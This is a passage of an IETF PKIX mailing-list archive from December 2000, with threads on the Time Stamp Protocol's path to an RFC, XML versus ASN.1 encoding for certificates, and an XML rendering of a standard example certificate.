> Sorry, couldn't resist... .

I am glad you did not.  If you have a certified F() that transforms "$10" in US Dollars
to "$1000" in another currency, this might be really useful.  So, even though this
is not the case here (because we are talking about control codes, not values), it
could well be useful also for values.

The bottom line is that if F() is certified between two sets, that F() is useful to
connect a certified x0 in X to a y0 in Y which then becomes certified.

> > > >So, this is IMO good point #2 -- you can reduce a XML certificate size
> > > >*below* the
> > > >ASN.1 size.
> > The same happens with ASN.1, so both are tied for anything that is random.
> > But anything else can be compressed and presents a benefit for compressed
> > XML over ASN.1.
>
> You can compress your ASN.1 data too. "Compressed XML" is IMHO no
> standard or RFC, just like there is no "Compressed ASN.1". When you
> compress you DER certificates, they will be smaller than compressed XML
> structures.

Wait.  This is a general affirmation, and so it is probably false. But, please
prove it.

Cheers,

Ed Gerck



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA08515 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 06:39:06 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA24994; Fri, 8 Dec 2000 09:41:19 -0500 (EST)
Message-Id: <4.2.0.58.20001208093731.01d01a70@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 08 Dec 2000 09:39:08 -0500
To: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>, ietf-pkix <ietf-pkix@imc.org>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda)
In-Reply-To: <3A30A7DE.6D397603@certplus.com>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov> <3A309863.5F3A6D58@bull.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Jean-Marc,

The changes in the last edition of TSP were the result of minor comments 
received during Last Call.  The changes do not require recycling at IETF 
Last Call.

Thanks,

Tim

At 10:20 AM 12/8/00 +0100, Jean-Marc Desperrier wrote:
>Denis Pinkas wrote:
>
> > Tim,
> >
> > > The IESG process does not operate on a fixed schedule, so we really can't
> > > predict when an RFC number might be available.
>
>My question had the key words "would", "tentative".
>I'm aware nothing can be garanteed.
>
> > > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will
> > > still need to go through IETF Last Call, be approved by the IESG,
> >
> > Wake-up ! Last call at the IESG level has already been performed on Monday,
> > 28 Aug 2000
>
>That's not what you want to hear, Denis, but did not the edition of a 
>revised version
>reset this and mean that there must be a new last call even if the changes 
>are minors
>?
>
> > > and wait
> > > in the IETF editing queue.  After successfully completing this 
> process, it
> > > will get an RFC number.  (Note that IETF Last Call is a minimum of two
> > > weeks, and documents seem to be spending at least a month in the editing
> > > queue.  Many documents spend more time in each stage.)
> > >
> > > I expect TSP to go through the process rather cleanly.  My experience is
> > > that documents which survive PKIX itself are already fairly well 
> scrubbed.
>
>Thank you.
>A best case time line and an opinion on whether it should go cleanly or 
>not is all I
>was expecting.
>



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA06818 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 06:19:32 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA05446; Fri, 8 Dec 2000 09:21:38 -0500 (EST)
Message-Id: <4.2.0.58.20001208091819.01c19ef0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 08 Dec 2000 09:19:27 -0500
To: Denis Pinkas <Denis.Pinkas@bull.net>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda)
Cc: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>, ietf-pkix <ietf-pkix@imc.org>
In-Reply-To: <3A309863.5F3A6D58@bull.net>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Denis,

Thanks for the reminder!  I was simply using the IESG status listing, which 
still says "Under AD Review".  That reduces the timeline a bit...

Tim

At 09:14 AM 12/8/00 +0100, Denis Pinkas wrote:
>Tim,
>
> > Jean-Marc,
> >
> > The IESG process does not operate on a fixed schedule, so we really can't
> > predict when an RFC number might be available.  The IETF process consists
> > of repeated discussion and debate regarding the merits of a
> > specification.  At any stage, we could conceivably discover a problem that
> > needs to be resolved.  Every problem that is encountered will take
> > additional time.
> >
> > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will
> > still need to go through IETF Last Call, be approved by the IESG,
>
>Wake-up ! Last call at the IESG level has already been performed on Monday,
>28 Aug 2000
>
>Here is the quoted E-mail:
>
>" The IESG has received a request from the Public-Key Infrastructure
>(X.509) Working Group to consider Internet X.509 Public Key
>Infrastructure Time Stamp Protocols (TSP)
><draft-ietf-pkix-time-stamp-09.txt> as a Proposed Standard.
>
>The IESG plans to make a decision in the next few weeks, and solicits
>final comments on this action.  Please send any comments to the
>iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000."
>
>Denis
>
> > and wait
> > in the IETF editing queue.  After successfully completing this process, it
> > will get an RFC number.  (Note that IETF Last Call is a minimum of two
> > weeks, and documents seem to be spending at least a month in the editing
> > queue.  Many documents spend more time in each stage.)
> >
> > I expect TSP to go through the process rather cleanly.  My experience is
> > that documents which survive PKIX itself are already fairly well scrubbed.
> >
> > Tim Polk
> >
> > At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote:
> > >Tim Polk wrote:
> > >
> > > > I have attached the tentative agenda for next week's PKIX 
> sessions.   As
> > > > usual, we have a rather full agenda.  Both days should be
> > > > interesting;  we'll discuss the path validation protocols on 
> Tuesday and
> > > > XML on Wednesday.  In between, we'll cover the status of our twenty 
> current
> > > > I-Ds.
> > >
> > >The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is
> > >finished, and that the draft is now under Area Director Review.
> > >
> > >What would be a tentative time-line until publication as an RFC, or until
> > >attribution of a RFC number ?
> > >
> > >



Received: from levitator.1div0.com (node.061.ty.link.si [213.250.43.61]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA00315 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 05:19:08 -0800 (PST)
Received: from intergalactic ([10.1.1.2]) by levitator.1div0.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id OAA07333 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 14:05:10 +0100
Reply-To: <denis.bider@denisbider.com>
From: <denis.bider@siol.net>
Sender: "denis bider" <denis.bider@globera.com>
To: <ietf-pkix@imc.org>
Subject: [announcement] "Efficient Descriptive Data Format" specification and SDK released
Date: Fri, 8 Dec 2000 14:23:02 +0100
Message-ID: <002b01c06119$fe7aa0e0$0201010a@intergalactic>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Efficient Descriptive Data Format preliminary specification and SDK
released

EDDF is an ASN.1-based binary data transfer and storage format that is
structurally similar to XML, but has several additional benefits that
make it much more suitable for use in cryptographic applications,
storage of binary data, and machine processing in general. 

In particular, EDDF is:
 (o) Implicitly canonical. Using EDDF, it is easy to ensure that a
single set of data can only be expressed with a single EDDF document.
This is important for electronic document signing and signature
verification.
 (o) Easier to parse and safer to use. EDDF uses a strongly defined
straightforward binary format, thus elegantly avoiding the
complexities and potential security vulnerabilities inherent to
text-based formats (such as XML).
  (o) Efficient. EDDF documents are, on average, 25% shorter than
corresponding XML documents. 

The EDDF specification is currently in First Draft stage, and the
author invites all interested individuals and organizations to submit
their comments.

The EDDF specification, ISO/ANSI C parser and ISO/ANSI C++ parser are
available freely from [http://www.eddf.org]. There are no strings
attached.

You are invited to visit [http://www.eddf.org] for more information.




Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA18424 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 03:04:06 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id MAA27278; Fri, 8 Dec 2000 12:06:17 +0100 (CET)
Received: from mega (t7o69p41.telia.com [213.65.46.41]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB8B6Go21918; Fri, 8 Dec 2000 12:06:16 +0100 (CET)
Message-ID: <010a01c06106$aec10fc0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Tom Gindin" <tgindin@us.ibm.com>, "Polar Humenn" <polar@adiron.com>, "Tim Polk" <tim.polk@nist.gov>, <ietf-pkix@imc.org>
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 12:04:38 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id DAA18427

Resent, did never show up in the list.  Pardon if you already got it!

>  IMHO the main advantage of XML over ASN.1 for any of these PKI
> functions, including AC's, is the far greater number of developers who are
> fluent in XML as compared to ASN.1 with BER or DER.  Speaking as one of the
> relatively few who is more fluent in ASN.1 than XML, I know of no other
> reason why XML should be preferred for such uses.  However, since syntax
> difficulty may well have been one of the reasons why SMTP has become widely
> adopted while X.400 has not, this is not a trivial reason.

Tom,
If you have followed my (too) frequent postings on the subject you should know that
there are actually *two* reasons for ACs to use to XML.  The second reason is the lack
of protocol and CA support for a certificate of the AC type.   By using a self-contained
signed object like PKCS #7, or in the XML-world XMLDSIG, the term "attribute certificate"
can be replaced by "signed attribute container" and make the AC replacement belong to
the same league as signed purchase orders etc.  And use *identical* PKI support code.

Using schemes like S2ML, the currently missing AC PUSH support, is already available w.o.
changing a single bit in the underlying PKI systems, protocols and browsers!

Given these facts I am willing to bet on that PKIX-ACs will be virtually insignificant.
Anyone interested in challenging this???

Anders





Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA08561 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 01:19:22 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id KAA30281 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 10:24:39 +0100
Message-ID: <3A30A7DE.6D397603@certplus.com>
Date: Fri, 08 Dec 2000 10:20:30 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix <ietf-pkix@imc.org>
Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda)
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov> <3A309863.5F3A6D58@bull.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Denis Pinkas wrote:

> Tim,
>
> > The IESG process does not operate on a fixed schedule, so we really can't
> > predict when an RFC number might be available.

My question had the key words "would", "tentative".
I'm aware nothing can be garanteed.

> > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will
> > still need to go through IETF Last Call, be approved by the IESG,
>
> Wake-up ! Last call at the IESG level has already been performed on Monday,
> 28 Aug 2000

That's not what you want to hear, Denis, but did not the edition of a revised version
reset this and mean that there must be a new last call even if the changes are minors
?

> > and wait
> > in the IETF editing queue.  After successfully completing this process, it
> > will get an RFC number.  (Note that IETF Last Call is a minimum of two
> > weeks, and documents seem to be spending at least a month in the editing
> > queue.  Many documents spend more time in each stage.)
> >
> > I expect TSP to go through the process rather cleanly.  My experience is
> > that documents which survive PKIX itself are already fairly well scrubbed.

Thank you.
A best case time line and an opinion on whether it should go cleanly or not is all I
was expecting.




Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA29607 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 00:13:49 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id JAA16694; Fri, 8 Dec 2000 09:21:20 +0100
Received: from bull.net (frpq6118.frpq.bull.fr [129.184.8.64]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id JAA17444; Fri, 8 Dec 2000 09:14:24 +0100
Message-ID: <3A309863.5F3A6D58@bull.net>
Date: Fri, 08 Dec 2000 09:14:27 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Tim Polk <tim.polk@nist.gov>
CC: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>, ietf-pkix <ietf-pkix@imc.org>
Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda)
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim,

> Jean-Marc,
> 
> The IESG process does not operate on a fixed schedule, so we really can't
> predict when an RFC number might be available.  The IETF process consists
> of repeated discussion and debate regarding the merits of a
> specification.  At any stage, we could conceivably discover a problem that
> needs to be resolved.  Every problem that is encountered will take
> additional time.
> 
> TSP has several hurdles to cross. Once the ADs are satisfied, TSP will
> still need to go through IETF Last Call, be approved by the IESG, 

Wake-up ! Last call at the IESG level has already been performed on Monday,
28 Aug 2000

Here is the quoted E-mail:

" The IESG has received a request from the Public-Key Infrastructure
(X.509) Working Group to consider Internet X.509 Public Key
Infrastructure Time Stamp Protocols (TSP)
<draft-ietf-pkix-time-stamp-09.txt> as a Proposed Standard.

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000."

Denis

> and wait
> in the IETF editing queue.  After successfully completing this process, it
> will get an RFC number.  (Note that IETF Last Call is a minimum of two
> weeks, and documents seem to be spending at least a month in the editing
> queue.  Many documents spend more time in each stage.)
> 
> I expect TSP to go through the process rather cleanly.  My experience is
> that documents which survive PKIX itself are already fairly well scrubbed.
> 
> Tim Polk
> 
> At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote:
> >Tim Polk wrote:
> >
> > > I have attached the tentative agenda for next week's PKIX sessions.   As
> > > usual, we have a rather full agenda.  Both days should be
> > > interesting;  we'll discuss the path validation protocols on Tuesday and
> > > XML on Wednesday.  In between, we'll cover the status of our twenty current
> > > I-Ds.
> >
> >The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is
> >finished, and that the draft is now under Area Director Review.
> >
> >What would be a tentative time-line until publication as an RFC, or until
> >attribution of a RFC number ?
> >
> >


Received: from maild.telia.com (root@maild.telia.com [194.22.190.3]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id XAA24711 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 23:45:20 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maild.telia.com (8.9.3/8.9.3) with ESMTP id IAA14428; Fri, 8 Dec 2000 08:47:33 +0100 (CET)
Received: from mega (t2o69p13.telia.com [62.20.144.133]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB87lWo29227; Fri, 8 Dec 2000 08:47:32 +0100 (CET)
Message-ID: <002f01c060ea$eb9072e0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Tom Gindin" <tgindin@us.ibm.com>
Cc: "Polar Humenn" <polar@adiron.com>, "Tim Polk" <tim.polk@nist.gov>, <ietf-pkix@imc.org>
References: <OF6A94D9C2.805F97C7-ON852569AE.0068F124@somers.hqregion.ibm.com>
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 08:46:03 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id XAA24715

>  IMHO the main advantage of XML over ASN.1 for any of these PKI
> functions, including AC's, is the far greater number of developers who are
> fluent in XML as compared to ASN.1 with BER or DER.  Speaking as one of the
> relatively few who is more fluent in ASN.1 than XML, I know of no other
> reason why XML should be preferred for such uses.  However, since syntax
> difficulty may well have been one of the reasons why SMTP has become widely
> adopted while X.400 has not, this is not a trivial reason.

Tom,
If you have followed my (too) frequent postings on the subject you should know that
there are actually *two* reasons for ACs to use to XML.  The second reason is the lack
of protocol and CA support for a certificate of the AC type.   By using a self-contained
signed object like PKCS #7, or in the XML-world XMLDSIG, the term "attribute certificate"
can be replaced by "signed attribute container" and make the AC replacement belong to
the same league as signed purchase orders etc.  And use *identical* PKI support code.

Using schemes like S2ML, the currently missing AC PUSH support, is already available w.o.
changing a single bit in the underlying PKI systems, protocols and browsers!

Given these facts I am willing to bet on that PKIX-ACs will be virtually insignificant.
Anyone interested in challenging this???

Anders




Received: from mystic1.trustcenter.de (mystic1.trustcenter.de [193.194.157.34]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA21485 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 23:31:02 -0800 (PST)
Received: by mystic1.trustcenter.de; id IAA26209; Fri, 8 Dec 2000 08:30:23 +0100
Received: from nodnsquery(192.168.200.3) by mystic1.trustcenter.de via smap (V5.0) id xma026190; Fri, 8 Dec 00 08:30:09 +0100
Received: from trustcenter.de (titan.trustcenter.de [192.168.200.244]) by callisto.trustcenter.de (8.9.3/8.9.3) with ESMTP id IAA02278 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 08:32:13 +0100 (MET)
Message-ID: <3A308E91.C065FEE@trustcenter.de>
Date: Fri, 08 Dec 2000 08:32:33 +0100
From: Juergen Brauckmann <brauckmann@trustcenter.de>
X-Mailer: Mozilla 4.73 [en] (WinNT; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: ietf-pkix@imc.org
Subject: Re: two good points, Re: PKIXML session.  Was: PKIX WGtentative agenda
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov> <3A300D20.F7497497@nma.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ed Gerck wrote: 
> If XML encoded documents can be modified without changing the
> document, then presenting one XML encoded document which has
> a valid signature is enough to allow any number of documents equal
> to that one to be verified -- irrespective of their XML encoded form.
> 
> In other words, if F: X --> Y is a mapping between two sets X and Y
> such that several different x in X have the same image y0 in Y, then presenting
> a valid signature for one x0 is enough, together with a certified F, to certify all
> other x that have the same image as the certified x0 mapped by the certified F,
> which is y0.

So we can have an F() which transforms any pattern "$10 " into a "$1000
" for any given XML documents, so that a document verifies with $10 and
with $1000? Yes, this sounds really useful for signed documents;-)

Sorry, couldn't resist... .
 
> > >So, this is IMO good point #2 -- you can reduce a XML certificate size
> > >*below* the
> > >ASN.1 size.
> The same happens with ASN.1, so both are tied for anything that is random.
> But anything else can be compressed and presents a benefit for compressed
> XML over ASN.1.

You can compress your ASN.1 data too. "Compressed XML" is IMHO no
standard or RFC, just like there is no "Compressed ASN.1". When you
compress you DER certificates, they will be smaller than compressed XML
structures. For normally sized DNs  I even doubt that compressed XML
would be smaller than uncompressed ASN.1.

> Now, with more and more of our economy depending on digital certificates and
> almost-there-but-not-quite PKI technology, it is my opinion that we cannot yet
> block innovation in name of business, or a "preferred encoding".

Nobody wants to block innovation. The question is wether XML
certificates really would be an innovation. One example: It seems to be
necessary to define and use Transformations or C14N methods for any XML
signed data (for XML certificates that would be necessary too). The
Transformations are an *additional* processing step, where all kinds of
things can go wrong. This alone looks like a disadvantage regarding
interoperability and ease of implementation. And I guess that other
people have many more concerns about XML signatures.

Regards,
   Juergen


Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id TAA10157 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 19:07:26 -0800 (PST)
Received: from [192.168.1.3] ([208.233.228.110]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G5800E7X9J2G0@mta6.snfc21.pbi.net> for ietf-pkix@imc.org; Thu, 7 Dec 2000 18:28:15 -0800 (PST)
Date: Thu, 07 Dec 2000 18:29:28 -0800
From: Aram Perez <aram@pacbell.net>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
In-reply-to: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au>
To: "'PKIX'" <ietf-pkix@imc.org>
Message-id: <B6558787.31F0%aram@pacbell.net>
MIME-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022

Hi Steven,

I should have stated, "I've attached the PKIX example #1 certificate
converted from BER/DER to XML.

Regards,
Aram Perez

> From: Steven Legg <steven.legg@adacel.com.au>
> Reply-To: steven.legg@adacel.com.au
> Date: Fri, 08 Dec 2000 13:18:15 +1100
> To: 'Aram Perez' <aram@pacbell.net>, 'PKIX' <ietf-pkix@imc.org>
> Subject: RE: PKIXML session.  Was: PKIX WG tentative agenda
> 
> 
> 
>> -----Original Message-----
>> From: Aram Perez [mailto:aram@pacbell.net]
>> Sent: Friday, 8 December 2000 4:25
>> To: PKIX
>> Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
>> 
>> 
>> Just for fun, I've attached the PKIX example #1 certificate
>> converted from
>> ASN.1 to XML.
>> 
>> Enjoy,
>> Aram Perez
> 
> That's one way to encode a certificate in XML, but not a method I find
> particularly appealing. The following XML encoding of the same certificate
> is my best guess (possibly way off) at what represents current thinking on
> the ASN.1 group's XML encoding rules mailing list. I would name the elements
> in a SET OF or SEQUENCE OF differently, but that is an argument for a
> different forum.
> 
> <Certificate>
> <toBeSigned>
> <version>
> v3
> </version>
> <serialNumber>
> 17
> </serialNumber>
> <signature>
> <algorithm>
> { 1 2 840 10040 4 3 }
> </algorithm>
> </signature>
> <issuer>
> <rdnSequence>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 6 }</type>
> <value>US</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 10 }</type>
> <value>gov</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 11 }</type>
> <value>nist</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> </rdnSequence>
> </issuer>
> <validity>
> <notBefore>
> 970630000000Z
> </notBefore>
> <notAfter>
> 971231000000Z
> </notAfter>
> </validity>
> <subject>
> <rdnSequence>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 6 }</type>
> <value>US</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 10 }</type>
> <value>gov</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 11 }</type>
> <value>nist</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> </rdnSequence>
> </subject>
> <subjectPublicKeyInfo>
> <algorithm>
> <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
> <parameters>
> <p>
> d43802c5357bd50ba17e5d72596355d3
> 4556eae2251a6bc5a4abaa0bd462b4d2
> 21b195a2c601c9c3fa016f7986833d03
> 61e1f192acbc034e89a3c9534af7e2a6
> 48cf421e21b15c2b3a7fbabe6b5af70a
> 26d88e1bebecbf1e5a3f45c0bd3123be
> 6971a7c290fea5d680b524dc449ceb4d
> f9daf0c8e8a24c99075c8e352b7d578d
> </p>
> <q>
> a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
> </q>
> <g>
> 0e3b46318a0a58864084e3a1220d88ca
> 908857649f0121e01505942482e21090
> d9e14e105ce7546bd40c2b1b590aa0b5
> a17db507e3657cea90d88e3042e485bb
> acfa4e764b780edf6ce5a6e1bd59777d
> a69759c529a7b33f953e9df1592df742
> 87623ff1b86fc73d4bb88d74c4ca4490
> cf67dbde1460974ad1f76d9e0994c40d
> </g>
> </parameters>
> </algorithm>
> <subjectPublicKey>
> 028180aa98ea1394a2dbf15b7f982f78
> e7d8e3b97186f6802f4039c3da3b4b13
> 4626ee0d56c5a33a39b77d33c26b5c77
> 92f255659039cd1a3c86e132eb25bc91
> c4ff804f3661bdcce26104e07e6013ca
> c09cdde0ea41de33c1f144a9bc71decf
> 59d46eda44993c2164e478549dd07bba
> 4ef5184d5e3930bfe0d1f6f483254f14
> aa71e1
> </subjectPublicKey>
> </subjectPublicKeyInfo>
> <extensions>
> <Extension>
> <extnId>
> { 2 5 29 19 }
> </extnId>
> <critical>
> TRUE
> </critical>
> <extnValue>
> 30030101ff
> </extnValue>
> </Extension>
> <Extension>
> <extnId>
> { 2 5 29 14 }
> </extnId>
> <extnValue>
> 0414e726c554cd5ba36f356895aad5ff1c21e42275d6
> </extnValue>
> </Extension>
> </extensions>
> </toBeSigned>
> <algorithmIdentifier>
> <algorithm>
> { 1 2 840 10040 4 3 }
> </algorithm>
> </algorithmIdentifier>
> <encrypted>
> 302c0214a066c176339913518d93642f
> ca1373de791a7d3302145d90f6ce924a
> bf2911248028a65a8e73b6760268
> </encrypted>
> </Certificate>
> 
> Regards,
> Steven
> 



Received: from arnie.adacel.com.au (arnie.adacel.com.au [203.36.26.147]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id SAA08889 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 18:15:36 -0800 (PST)
Received: (qmail 5137 invoked from network); 8 Dec 2000 02:19:51 -0000
Received: from unknown (HELO osmium) (203.8.85.176) by arnie.adacel.com.au with SMTP; 8 Dec 2000 02:19:51 -0000
Reply-To: <steven.legg@adacel.com.au>
From: "Steven Legg" <steven.legg@adacel.com.au>
To: "'Aram Perez'" <aram@pacbell.net>, "'PKIX'" <ietf-pkix@imc.org>
Subject: RE: PKIXML session.  Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 13:18:15 +1100
Message-ID: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2120.0
In-Reply-To: <B65507FD.31D4%aram@pacbell.net>
Importance: Normal

> -----Original Message-----
> From: Aram Perez [mailto:aram@pacbell.net]
> Sent: Friday, 8 December 2000 4:25
> To: PKIX
> Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
>
>
> Just for fun, I've attached the PKIX example #1 certificate
> converted from
> ASN.1 to XML.
>
> Enjoy,
> Aram Perez

That's one way to encode a certificate in XML, but not a method I find
particularly appealing. The following XML encoding of the same certificate
is my best guess (possibly way off) at what represents current thinking on
the ASN.1 group's XML encoding rules mailing list. I would name the elements
in a SET OF or SEQUENCE OF differently, but that is an argument for a
different forum.

<Certificate>
  <toBeSigned>
    <version>
      v3
    </version>
    <serialNumber>
      17
    </serialNumber>
    <signature>
      <algorithm>
         { 1 2 840 10040 4 3 }
      </algorithm>
    </signature>
    <issuer>
      <rdnSequence>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 6 }</type>
            <value>US</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 10 }</type>
            <value>gov</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 11 }</type>
            <value>nist</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
      </rdnSequence>
    </issuer>
    <validity>
      <notBefore>
        970630000000Z
      </notBefore>
      <notAfter>
        971231000000Z
      </notAfter>
    </validity>
    <subject>
      <rdnSequence>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 6 }</type>
            <value>US</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 10 }</type>
            <value>gov</value>
